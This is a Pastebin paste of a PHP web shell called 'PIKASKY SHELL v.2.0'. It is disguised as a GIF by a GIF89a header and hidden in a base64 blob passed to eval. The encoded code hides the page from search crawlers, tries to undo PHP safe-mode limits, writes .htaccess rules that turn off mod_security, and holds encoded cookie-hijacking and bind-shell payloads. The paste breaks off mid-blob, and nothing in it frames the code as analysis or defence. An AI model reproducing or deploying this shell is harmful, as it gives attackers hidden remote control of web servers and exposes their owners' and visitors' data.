Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- GIF89a1
- <?php
- eval("?>".base64_decode("PD9waHANCiRuYXJteWkgPSJ5MGpOektzQ0FBPT0iOw0KJHNha2F3aGF0PSJTODdJTE1uSnoxTldWZ1lBIjsNCiRzYXI9Inl5akp6RXZKVEsxeVNNOU56TXpSUzg3UEJRQT0iOw0KQGVycm9yX3JlcG9ydGluZyg0KTsNCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKQ0Kew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKQ0KICAgIHsNCiAgICAgICAgaGVhZGVyKCdIVFRQLzEuMCA0MDQgTm90IEZvdW5kJyk7DQogICAgICAgIGV4aXQ7DQogICAgfQ0KfQ0KZWNobyAiPG1ldGEgbmFtZT1cIlJPQk9UU1wiIGNvbnRlbnQ9XCJOT0lOREVYLCBOT0ZPTExPV1wiIC8+IjsgDQovKi0tLS0tLS0tLS0tLS0tLS0tLSBFbmQgb2YgQW50aSBDcmF3bGVyIC0tLS0tKi8NCiAgICBlY2hvICI8bGluayBocmVmPWRhdGE6aW1hZ2UvZ2lmO2Jhc2U2NCxSMGxHT0RsaEVBQVFBUGNBQURHY0FEbWNBRG1jQ0VLY0VFS2xFRXFsR0VxbElWS2xJVkt0SVZLdEtWcXRNV08xT1d1MVFtdTFTbk8xU25POVNuTzlVbnU5V29TOVk0VEdZNHpHYTR6R2M1VEdjNVRPYzVUT2U1ek9lNXpPaEszV2xMWGVwYjNlcmNibnRjYm52YzdudmM3bnh0YnZ6dDd2enQ3djF1ZjMzdS8zNSsvMzcvZjM3L2YvOS8vLzkvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy95d0FBQUFBRUFBUUFBQUl4d0E3QUJoSXNHQkJnUUVBSkF3d2dJR0VCUW9qRWhRd2NJRUZEUlVVVUNTNFVDRUVqQWMyUmhRSm9JR0dDQUlFUk9EUVFPTEFBQWMwU0FCd2dFTUlEZ29TU2hRZ0FjTUFBeDA4T0JDZ0VZREltQTBDYlBpd29JQ0hGQklvRG9nQXdBR0dBZ3BDVkJnZ1lnVUhBd1UybkZnQlFFSUZBUlZBR05Dd0FrTlZFeXRDekt3d2MwTUhBU1ZJQ0hDUTRnVEtnUkphVnRBZ1FBUUdCU2RNSkNEWjBXaUFEeW9ZQU9DZzRlVkFrUXBXQ0JSZ0lvVE9qVG90ckhBd0VDd0FnWllwZGtCUlFHS0hnQUFBT3c9PSByZWw9aWNvbiB0eXBlPWltYWdlL3gtaWNvbiAvPiI7DQogICAgZWNobyAiPHN0eWxlPg0KICAgIGh0bWwgeyBiYWNrZ3JvdW5kOnVybCgpIGJsYWNrOyB9DQogICAgI2xvZ2luYm94IHsgZm9udC1zaXplOjExcHg7IGNvbG9yOmdyZWVuOyB3aWR0aDoxMjAwcHg7IGhlaWdodDoyMDBweDsgYm9yZGVyOjFweCBzb2xpZCAjNEM4M0FGOyBiYWNrZ3JvdW5kLWNvbG9yOiMxMTExMTE7IGJvcmRlci1yYWRpdXM6NXB4OyAtbW96LWJvZGVyLXJhZGl1czo1cHg7IHBvc2l0aW9uOmZpeGVkOyB0b3A6MjUwcHg7IH0NCiAgICBpbnB1dCB7IGZvbnQtc2l6ZToxMXB4OyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGNvbG9yOmdyZWVuOyBtYXJnaW46MCA0cHg7IGJvcmRlcjoxcHggc29saWQgIzIyMjIyMjsgfQ0KICAgIGxvZ2luYm94IHRkIHsgYm9yZGVyLXJhZGl1czo1cHg7IGZvbnQtc2l6ZToxMXB4OyB9DQogICAgLmhlYWRlciB7IHNpemU6MjVweDsgY29sb3I6Z3JlZW47IH0NCiAgICBoMSB7IGZvbnQtZmFtaWx5OkRpZ2lmYWNlV2lkZTsgY29sb3I6Z3JlZW47IGZvbnQtc2l6ZToyMDAlOyB9DQogICAgaDE6aG92ZXIgeyB0ZXh0LXNoYWRvdzowIDAgMjBweCAjMDBGRkZGLCAwIDAgMTAwcHggIzAwRkZGRjsgfQ0KICAgIC5nbyB7IGhlaWdodDogNTBweDsgd2lkdGg6IDUwcHg7ZmxvYXQ6IGxlZnQ7IG1hcmdpbi1yaWdodDogMTBweDsgZGlzcGxheTogbm9uZTsgYmFja2dyb3VuZC1jb2xvcjogIzA5MDt9DQogICAgLmlucHV0X2JpZyB7IHdpZHRoOjc1cHg7IGhlaWdodDozMHB4OyBiYWNrZ3JvdW5kOiMxOTE5MTk7IGNvbG9yOmdyZWVuOyBtYXJnaW46MCA0cHg7IGJvcmRlcjoxcHggc29saWQgIzIyMjIyMjsgZm9udC1zaXplOjE3cHg7IH0NCiAgICBociB7IGJvcmRlcjoxcHggc29saWQgIzIyMjIyMjsgfQ0KICAgICNtZXVubGlzdCB7IHdpZHRoOiBhdXRvOyBoZWlnaHQ6IGF1dG87IGZvbnQtc2l6ZTogMTJweDsgZm9udC13ZWlnaHQ6IGJvbGQ7IH0NCiAgICAjbWV1bmxpc3QgdWwgeyBwYWRkaW5nLXRvcDogNXB4OyBwYWRkaW5nLXJpZ2h0OiA1cHg7IHBhZGRpbmctYm90dG9tOiA3cHg7IHBhZGRpbmctbGVmdDogMnB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgbGlzdC1zdHlsZS10eXBlOiBub25lOyBtYXJnaW46IDBweDsgfQ0KICAgICNtZXVubGlzdCBsaSB7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHg7IGRpc3BsYXk6IGlubGluZTsgfQ0KICAgICNtZXVubGlzdCBhIHsgZm9udC1zaXplOiAxNHB4OyB0ZXh0LWRlY29yYXRpb246bm9uZTsgZm9udC13ZWlnaHQ6IGJvbGQ7Y29sb3I6Z3JlZW47Y2xlYXI6IGJvdGg7d2lkdGg6IDEwMHB4O21hcmdpbi1yaWdodDogLTZweDsgcGFkZGluZy10b3A6IDNweDsgcGFkZGluZy1yaWdodDogMTVweDsgcGFkZGluZy1ib3R0b206IDNweDsgcGFkZGluZy1sZWZ0OiAxNXB4OyB9DQogICAgI21ldW5saXN0IGE6aG92ZXIgeyBiYWNrZ3JvdW5kOiAjMzMzOyBjb2xvcjpncmVlbjsgfQ0KICAgIC5tZW51YmFyIHstbW96LWJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlci1yYWRpdXM6IDEwcHg7IGJvcmRlcjoxcHggc29saWQgZ3JlZW47IHBhZGRpbmc6NHB4IDhweDsgbGluZS1oZWlnaHQ6MTZweDsgYmFja2dyb3VuZDojMTExMTExOyBjb2xvcjojYWFhOyBtYXJnaW46MCAwIDhweCAwOyAgfQ0KICAgIC5tZW51IHsgZm9udC1zaXplOjI1cHg7IGNvbG9yOiB9DQogICAgLnRleHRhcmVhX2VkaXQgeyBiYWNrZ3JvdW5kLWNvbG9yOiMxMTExMTE7IGJvcmRlcjoxcHggZ3Jvb3ZlICMzMzM7IGNvbG9yOmdyZWVuOyB9DQogICAgLnRleHRhcmVhX2VkaXQ6aG92ZXIgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgYm9yZGVyOjFweCBkYXNoZWQgIzMzMzsgfQ0KICAgIC5pbnB1dF9idXR0IHtmb250LXNpemU6MTFweDsgYmFja2dyb3VuZDojMTkxOTE5OyBjb2xvcjojNEM4M0FGOyBtYXJnaW46MCA0cHg7IGJvcmRlcjoxcHggc29saWQgIzIyMjIyMjt9DQogICAgI3Jlc3VsdHsgLW1vei1ib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXItcmFkaXVzOiAxMHB4OyBib3JkZXI6MXB4IHNvbGlkIGdyZWVuOyBwYWRkaW5nOjRweCA4cHg7IGxpbmUtaGVpZ2h0OjE2cHg7IGJhY2tncm91bmQ6IzExMTExMTsgY29sb3I6I2FhYTsgbWFyZ2luOjAgMCA4cHggMDsgbWluLWhlaWdodDoxMDBweDt9DQogICAgLnRhYmxleyB3aWR0aDoxMDAlOyBwYWRkaW5nOjRweCAwOyBjb2xvcjojODg4OyBmb250LXNpemU6MTVweDsgfQ0KICAgIC50YWJsZSBheyB0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6Z3JlZW47IGZvbnQtc2l6ZToxNXB4OyB9DQogICAgLnRhYmxlIGE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQogICAgLnRhYmxlIHRkeyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMjIyMjIyOyBwYWRkaW5nOjAgOHB4OyBsaW5lLWhlaWdodDoyNHB4OyB2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0NCiAgICAudGFibGUgdGh7IHBhZGRpbmc6M3B4IDhweDsgZm9udC13ZWlnaHQ6bm9ybWFsOyBiYWNrZ3JvdW5kOiMyMjIyMjI7IGNvbG9yOiM1NTU7IH0NCiAgICAudGFibGUgdHI6aG92ZXJ7IGJhY2tncm91bmQ6IzE4MTgxODsgfQ0KICAgIC50Ymx7IHdpZHRoOjEwMCU7IHBhZGRpbmc6NHB4IDA7IGNvbG9yOiM4ODg7IGZvbnQtc2l6ZToxNXB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgIH0NCiAgICAudGJsIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpncmVlbjsgZm9udC1zaXplOjE1cHg7IHZlcnRpY2FsLWFsaWduOm1pZGRsZTsgfQ0KICAgIC50YmwgYTpob3Zlcnt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO30NCiAgICAudGJsIHRkeyBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjMjIyMjIyOyBwYWRkaW5nOjAgOHB4OyBsaW5lLWhlaWdodDoyNHB4OyAgdmVydGljYWwtYWxpZ246bWlkZGxlOyB3aWR0aDogMzAwcHg7IH0NCiAgICAudGJsIHRoeyBwYWRkaW5nOjNweCA4cHg7IGZvbnQtd2VpZ2h0Om5vcm1hbDsgYmFja2dyb3VuZDojMjIyMjIyOyBjb2xvcjojNTU1OyB2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7IH0NCiAgICAudGJsIHRkOmhvdmVyeyBiYWNrZ3JvdW5kOiMxODE4MTg7IH0NCiAgICAjYWxlcnQge3Bvc2l0aW9uOiByZWxhdGl2ZTt9DQogICAgI2FsZXJ0OmhvdmVyOmFmdGVyIHtiYWNrZ3JvdW5kOiBoc2xhKDAsMCUsMCUsLjgpO2JvcmRlci1yYWRpdXM6IDNweDtjb2xvcjogI2Y2ZjZmNjtjb250ZW50OiAnQ2xpY2sgdG8gZGlzbWlzcyc7Zm9udDogYm9sZCAxMnB4LzMwcHggc2Fucy1zZXJpZjtoZWlnaHQ6IDMwcHg7bGVmdDogNTAlO21hcmdpbi1sZWZ0OiAtNjBweDtwb3NpdGlvbjogYWJzb2x1dGU7dGV4dC1hbGlnbjogY2VudGVyO3RvcDogNTBweDsgd2lkdGg6IDEyMHB4O30NCiAgICAjYWxlcnQ6aG92ZXI6YmVmb3JlIHtib3JkZXItYm90dG9tOiAxMHB4IHNvbGlkIGhzbGEoMCwwJSwwJSwuOCk7Ym9yZGVyLWxlZnQ6IDEwcHggc29saWQgdHJhbnNwYXJlbnQ7Ym9yZGVyLXJpZ2h0OiAxMHB4IHNvbGlkIHRyYW5zcGFyZW50O2NvbnRlbnQ6ICcnO2hlaWdodDogMDtsZWZ0OiA1MCU7bWFyZ2luLWxlZnQ6IC0xMHB4O3Bvc2l0aW9uOiBhYnNvbHV0ZTt0b3A6IDQwcHg7d2lkdGg6IDA7fQ0KICAgICNhbGVydDp0YXJnZXQge2Rpc3BsYXk6IG5vbmU7fQ0KICAgIC5hbGVydF9yZWQge2FuaW1hdGlvbjogYWxlcnQgMXMgZWFzZSBmb3J3YXJkcztiYWNrZ3JvdW5kLWNvbG9yOiAjYzQ0NTNjO2JhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHRyYW5zcGFyZW50LHRyYW5zcGFyZW50IDI1JSwgaHNsYSgwLDAlLDAlLC4xKSAyNSUsaHNsYSgwLDAlLDAlLC4xKSA1MCUsIHRyYW5zcGFyZW50IDUwJSx0cmFuc3BhcmVudCA3NSUsIGhzbGEoMCwwJSwwJSwuMSkgNzUlLGhzbGEoMCwwJSwwJSwuMSkpO2JhY2tncm91bmQtc2l6ZTogMjBweCAyMHB4O2JveC1zaGFkb3c6IDAgNXB4IDAgaHNsYSgwLDAlLDAlLC4xKTtjb2xvcjogI2Y2ZjZmNjtkaXNwbGF5OiBibG9jaztmb250OiBib2xkIDE2cHgvNDBweCBzYW5zLXNlcmlmO2hlaWdodDogNDBweDtwb3NpdGlvbjogYWJzb2x1dGU7dGV4dC1hbGlnbjogY2VudGVyO3RleHQtZGVjb3JhdGlvbjogbm9uZTt0b3A6IC00NXB4O3dpZHRoOiAxMDAlO30NCiAgICAuYWxlcnRfZ3JlZW4ge2FuaW1hdGlvbjogYWxlcnQgMXMgZWFzZSBmb3J3YXJkcztiYWNrZ3JvdW5kLWNvbG9yOiAjNDNDRDgwO2JhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsIHRyYW5zcGFyZW50LHRyYW5zcGFyZW50IDI1JSwgaHNsYSgwLDAlLDAlLC4xKSAyNSUsaHNsYSgwLDAlLDAlLC4xKSA1MCUsIHRyYW5zcGFyZW50IDUwJSx0cmFuc3BhcmVudCA3NSUsIGhzbGEoMCwwJSwwJSwuMSkgNzUlLGhzbGEoMCwwJSwwJSwuMSkpO2JhY2tncm91bmQtc2l6ZTogMjBweCAyMHB4O2JveC1zaGFkb3c6IDAgNXB4IDAgaHNsYSgwLDAlLDAlLC4xKTtjb2xvcjogI2Y2ZjZmNjtkaXNwbGF5OiBibG9jaztmb250OiBib2xkIDE2cHgvNDBweCBzYW5zLXNlcmlmO2hlaWdodDogNDBweDtwb3NpdGlvbjogYWJzb2x1dGU7dGV4dC1hbGlnbjogY2VudGVyO3RleHQtZGVjb3JhdGlvbjogbm9uZTt0b3A6IC00NXB4O3dpZHRoOiAxMDAlO30NCiAgICBAa2V5ZnJhbWVzIGFsZXJ0IHswJSB7IG9wYWNpdHk6IDA7IH01MCUgeyBvcGFjaXR5OiAxOyB9MTAwJSB7IHRvcDogMDsgfX0NCiAgICA8L3N0eWxlPiI7DQokdXNlcm5hbWUgPWd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRuYXJteWkpKTsNCiRwYXNzd29yZCA9Z3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHNha2Fyd2hhdCkpIDsNCiRjb2xvcl9nPSJncmVlbiI7DQokY29sb3JfYj0iNEM4M0FGIjsNCiRjb2xvcl9iZz0iIzExMTExMSI7DQokY29sb3JfaHI9IiMyMjIiOw0KJGNvbG9yX3dyaT0iZ3JlZW4iOw0KJGNvbG9yX3JlYT0ieWVsbG93IjsNCiRjb2xvcl9ub249InJlZCI7DQokcGF0aD0kX0dFVFsncGF0aCddOw0KDQpAc2Vzc2lvbl9zdGFydCgpOw0KQHNldF90aW1lX2xpbWl0KDApOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGVfaW5jbHVkZV9kaXIiKTsNCkBpbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7DQpAaW5pX3Jlc3RvcmUoImRpc2FibGVfZnVuY3Rpb25zIik7DQpAaW5pX3Jlc3RvcmUoImFsbG93X3VybF9mb3BlbiIpOw0KQGluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCkBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQpAaWdub3JlX3VzZXJfYWJvcnQoRkFMU0UpOw0KQGluaV9zZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJywnT2ZmJyk7DQoNCiRzZXA9Ii8iOw0KaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAsMykpPT0id2luIikNCnsNCiAgICAkb3M9IndpbiI7DQogICAgJHNlcD0iXFwiOw0KICAgICRveD0iV2luZG93cyI7DQp9DQplbHNlDQp7DQogICAgJG9zPSJuaXgiOw0KICAgICRveD0iTGludXgiOw0KfQ0KDQoNCg0KJHNlbGY9JF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokc3J2cl9zb2Y9JF9TRVJWRVJbJ1NFUlZFUl9TT0ZUV0FSRSddOw0KJHlvdXJfaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokc3J2cl9pcD0kX1NFUlZFUlsnU0VSVkVSX0FERFInXTsNCiRhZG1pbj0kX1NFUlZFUlsnU0VSVkVSX0FETUlOJ107DQoNCiRzX3BocF9pbmk9InNhZmVfbW9kZT1PRkYNCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUiOw0KDQokaW5pX3BocD0iPD8NCmVjaG8gaW5pX2dldChcInNhZmVfbW9kZVwiKTsNCmVjaG8gaW5pX2dldChcIm9wZW5fYmFzZWRpclwiKTsNCmluY2x1ZGUoXCRfR0VUW1wiZmlsZVwiXSk7DQppbmlfcmVzdG9yZShcInNhZmVfbW9kZVwiKTsNCmluaV9yZXN0b3JlKFwib3Blbl9iYXNlZGlyXCIpOw0KZWNobyBpbmlfZ2V0KFwic2FmZV9tb2RlXCIpOw0KZWNobyBpbmlfZ2V0KFwib3Blbl9iYXNlZGlyXCIpOw0KaW5jbHVkZShcJF9HRVRbXCJzc1wiXSk7DQo/PiI7DQoNCiRzX2h0YWNjZXNzPSI8SWZNb2R1bGUgbW9kX3NlY3VyaXR5LmM+DQpTZWMtLS0tLS1FbmdpbmUgT2ZmDQpTZWMtLS0tLS1TY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+IjsNCg0KJHNfaHRhY2Nlc3NfcGw9Ik9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cyBJbmRleGVzIEV4ZWNDR0kNCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsIjsNCg0KJHN5bV9odGFjY2Vzcz0iT3B0aW9ucyBhbGwNCkRpcmVjdG9yeUluZGV4IFN1eC5odG1sDQpBZGRUeXBlIHRleHQvcGxhaW4gLnBocA0KQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHANCkFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLmh0bWwNClJlcXVpcmUgTm9uZQ0KU2F0aXNmeSBBbnkiOw0KDQokc3ltX3BocF9pbmk9InNhZmVfbW9kZT1PRkYNCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUiOw0KDQokZm9yYmlkX2Rpcj0iT3B0aW9ucyAtSW5kZXhlcyI7DQoNCiRjb29raWVfaGlnaGphY2tlcj0iclZYYmJwdEFFSDIzNUg4WUlTdkJhV3UzVXA2bzdjaUtjWUp5c1l0eDI2aXFFTWFMb2NXN2hGMlNWaUgvM2xud0JVSm9HN1U4Mk96dW1abXpaeTQwRzcyVHlJK2FqZTdSbSswRFo0U1MyQkZrQ1E0SEJ5SW5Gc0E4bUJvWHc5bkZEVUFVczIvRUZiREJIM1diRFMraHJnZ1lSVnRoVE5WMnMvSFFiQUErZ1FmcWlnaEM3MVRsM0xLbTl1bWxvVjlidGpGVjJuQndBRnpFcnNPSnU0NXFZYTlCU2VoM3l1NnAwbTduWGpmTzVkTUtJdWhEbmUzN0hQaVkvNUdRa3lxanovWjRZbjRhbWlOOUpOOSt6NnNDZmpHN2lvYy9jRFQxcTRtbDI4UFJxSjVhQ2ZNU1JpWERHaUlCNTBTb0xYdW1teDkxODh0aHdlYndhOGFvNXV3SjJSclUzOUN0TWEwU3JySGZSU2hieEVRa01WVVJJKy8rV0NqamtLMUdqbkFLaFl5Z1M3YnFLeTZqWHJCS3NEOFF4enZpaDlnNmJibU1mUTlJaWU2SHVXN2UyRFBMTks3UGRueGJNVmtGWEpEWVhvVnM0WVFjVGRRRlkyRWJBaHJZbUJ2MWNBL0pFSWZiNU1pRVZPemI1YXlXUk5vYVp1bk1ZWnNleFlNZG43VWRNZXp5WjVTZVRreHJ6enpoR05WWkVWckdab1U5eDVVOVBNUFdLOXowbGd0N1RZVFBsaVdESzkwNm40eUtpcXh0bi9GbkdaeFBaa1dQeENNeGlhdmhUWDJzbS9xK0tscExIR0Y5K1FPcUVzSnlKbWZZR0c3QTF3S053M0JYN3kxTWR0OWpFYUdxa21kWndacDBYaWw3aGFUcUVhcHVyeDNoK3FyU1hmaGl2ZWdHQ013dDJwQ21VRUdFSlVpMXVMMG9FVnlWOFRHZ01kV3kvS1FnSmRjS1dVbEJTcUFWVkVwaEtIT2dsUktTUXE2cVZwWTlCVlJHMnd1WHdtaG82UStnd1dPdUVlNmNUaVlYaHE3dGE3aTNpQWZQRFlUL2VZVi91a04yQ2EzK0FwUStwZSs1SWVNa283cnA5bDJUNDVLNFBnT2wyZWpKdEExNlBuR1dBMXlKUUlSa2NQejJHSzZaZ0RGTDZMTFh6VGZ4dEp2QmVndTIvQ21YL3J0QkFZVXIzSXNHbGs5dzBOd21oTXN2NnR5OEJLVlRLbktjRVRQTG5wc0dUc3lPQXZmNDBhWG94cE51QUdlUjhBTU9LTkVkaVR1OWJwUUZ6a0xLd1hPQ3kxOD0iOw0KJGJpbmRfcGVybD0iclpKZGI1c3dGSWF2aThSL09IWFRGU1NtWkp1MmkwYWJ4QWp0V0FwRVFMdE5WWVVvT0sxVmdpbW1tcUlxLzMwK2RwS21tbmExK0FxLzcvRnp2amc2SEQ2SmJuakxtbUZMdXhyZS9qWU4wempheDVFWStQK2pNZWUwb1YzUjB3b0tBUVcwUmRjRG4wTVFUUkwzZTVCOWc1QTFETko3V3Rmd2RRbEttODQrZmhyQmRSYWYzV3d3ZTZsbVA3TXhqU2RCSWVYbEErM0grdUx4WnM3dTVHWEFoY3IyR1FaYWUrYWlLUlowaFY3THUvNUFPbTV5Zm5VOXVsRlN4M3N1dFR2YXE4L2JKVVpiSjMzWm50Z1lVQzRxYVpPNnJjZ1lVdy9FVXZSMGdacGF2YmpYT3B0Ym1KcytBZ25USDZ6NThKN1lwdkZzR2dmckY3SWtjdXpGWVRyenZXTVlUdkhaU2hGSFdLM01vemhDdFdXbGZuTGxKdzdNenZJZzhqTUgwdGliNW1tVytHN29nQzdiQnQ1QnhTZ1EvZWgwY0loUVFYdTg4L2FGa3NZWE9RSTBLRS84eTlSM0p4UHB0RVg1WUpHYU9QRE8zdUZ0RWFlZ29iTFZhb3REcjZpcUxtZU5wWWJxeU44SmVia2IvZHJCNEtNTm9HWnlDTTFPUmFINzA0dWo2Q1ZhUjJ6aVRXUE9PMnNzVzhWTWNrSkZXVkxaa25jUitCRzJvVUQyR01xYTR3K2c1UFhFZVl1WnNra1FPVUMrdk5FZXdYVnVyZmd5KzZmbko4bGZudDZodGQ2bGtsUmluZWIxWGJKZkN4S0l3dW9QIjsNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gVG9wIE1lbnUgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCg0KaWYoJHNhZmVtb2RlPT0iT24iKQ0Kew0KICAgIGVjaG8gIjxkaXYgaWQ9J2FsZXJ0Jz48YSBjbGFzcz1cImFsZXJ0X3JlZFwiIGhyZWY9XCIjYWxlcnRcIj5TYWZlIE1vZGUgOiA8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48L2E+PC9kaXY+IjsNCn0NCmVsc2UNCnsNCiAgICBlY2hvICI8ZGl2IGlkPSdhbGVydCc+PGEgY2xhc3M9XCJhbGVydF9ncmVlblwiIGhyZWY9XCIjYWxlcnRcIj5TYWZlIE1vZGUgOiA8Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjwvYT48L2Rpdj4iOw0KfQ0KDQplY2hvICI8c2NyaXB0IHNyYz1cImh0dHA6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LWxhdGVzdC5qc1wiPjwvc2NyaXB0PjxzY3JpcHQ+JChcIiNhbGVydFwiKS5kZWxheSgyMDAwKS5mYWRlT3V0KDMwMCk7PC9zY3JpcHQ+IjsNCg0KZWNobyAiPHRpdGxlPlBJS0FTS1kgIFNIRUxMIHYuMi4wPC90aXRsZT48ZGl2IGlkPXJlc3VsdD4NCjx0YWJsZT4NCiAgICA8dGJvZHk+DQogICAgICAgIDx0cj4NCiAgICAgICAgICAgIDx0ZCBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjMTA0RThCOycgd2lkdGg9XCIzMDBweDtcIj4NCiAgICAgICAgICAgIDxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+DQogICAgICAgICAgICAgICAgPGEgaHJlZj0nPycgc3R5bGU9J3RleHQtZGVjb3JhdGlvbjpub25lOyc+PGgxPlBJS0FTS1lAPC9oMT48L2E+PGZvbnQgY29sb3I9Ymx1ZT5QSUtBIFNIRUxMPC9mb250Pg0KICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgPGRpdiBjbGFzcz1cImhlYWRlclwiPk9TPC9mb250PiA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+OjwvZm9udD4NCiAgICAgICAgICAgICIuJG94LiIgPC9mb250PiA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+fDwvZm9udD4gIi5waHBfdW5hbWUoKS4iPGJyIC8+DQogICAgICAgICAgICBZb3VyIElQIDogPGZvbnQgY29sb3I9cmVkPiIuJHlvdXJfaXAuIjwvZm9udD4gPGZvbnQgY29sb3I9XCIjNjY2XCIgPnw8L2ZvbnQ+IFNlcnZlciBJUCA6IDxmb250IGNvbG9yPXJlZD4iLiRzcnZyX2lwLiI8L2ZvbnQ+IDxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L2ZvbnQ+IEFkbWluIDxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IDxmb250IGNvbG9yPXJlZD4geyRhZG1pbn0gPC9mb250PiA8YnIgLz4NCiAgICAgICAgICAgIE15U1FMIDxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjsgZWNobyBteXNxbHgoKTsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L2ZvbnQ+IE9yYWNsZSA8Zm9udCBjb2xvcj1cIiM2NjZcIiA+IDogPC9mb250PiI7IGVjaG8gb3JhY2xlc3goKTsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L2ZvbnQ+IE1TU1FMIDxmb250IGNvbG9yPVwiIzY2NlwiID4gOiA8L2ZvbnQ+IjsgZWNobyBtc3NxbHgoKTsNCiAgICAgICAgICAgIGVjaG8gIjxmb250IGNvbG9yPVwiIzY2NlwiID4gfCA8L